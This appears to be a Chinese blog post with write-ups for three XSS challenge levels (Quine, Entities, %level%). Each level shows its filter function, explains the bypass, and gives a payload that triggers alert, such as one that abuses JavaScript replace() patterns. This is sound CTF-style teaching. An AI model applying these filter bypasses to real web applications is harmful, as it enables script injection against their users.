Quine
题目:
// submitted by Somebody
function escape(s) {
// We've got a quine level in all of the other
// games, so why not have one here?
var win = alert;
window.alert = function(t) {
if (t === s)
win(1);
else
console.log("Alert: " + t + "\n(That's not a quine)");
}
return s;
}
解题:
s
能够呼叫 alert,但呼叫的参数 t
等同於 s
s
会是整个 document
的内容,这边用 document.body.innerHTML
当参数 t
传入即可ANS: <script>alert(document.body.innerHTML)</script>
Entities
// submitted by securityMB
function escape(s) {
function htmlentities(s) {
return s.replace(/[&<>"']/g, c => `&#${c.charCodeAt(0)};`)
}
s = htmlentities(s);
return `<script>
var obj = {};
obj["${s}"] = "${s}";
</script>`;
}
题目过滤了 &<>"'
,但是没有过滤 ;
和 /
和 \
宣告了个物件 obj,并且命 obj["输入字串"] ="输入字串";
而 JS 有个特性,若找不存在的 key,不会造成语法错误
那我们就利用这个特性,将 obj 变成 obj["字串"];alert(1);
,来执行 alert(1)
];alert(1);//\
%level%
题目:
// submitted anonymously
function escape(s) {
const userInput = JSON.stringify(s).replace(/[<]/g, '%lt').replace(/[>]/g, '%gt');
const userTemplate = '<script>let some = %userData%</script>';
return userTemplate.replace(/%userData%/, userInput);
}
解题:
$'
表示 after match , $`
表示 before matchuserTemplate.replace(/%userData%/, userInput);
中:
userInput
中出现$'
表示 </script>
userInput
中出现 $`
表示 <script>let some =
</script><script>let some = alert(1)//
绕过限制。ANS
$'$`alert(1)//
<<: JavaScript Day27 - IIFE (立即函式)
路由政策 routing policies 这些 routing policies 定义了 Rout...
第 12 天要来介绍 interface 那麽话不多说,我们就进入正题吧 ─=≡Σ(((っ゚∀゚)っ...
Iteration for (var i=0; i<myArr.length; i++){}...
我是谁? 在某虚拟机公司担任分散式储存工程师,熟悉云端储存的相关知识 继去年的计算机网路主题 - 用...
今天我们来看看 powershell 的执行策略。 在默认情况下,你自己编写的脚本,或者从网上找的第...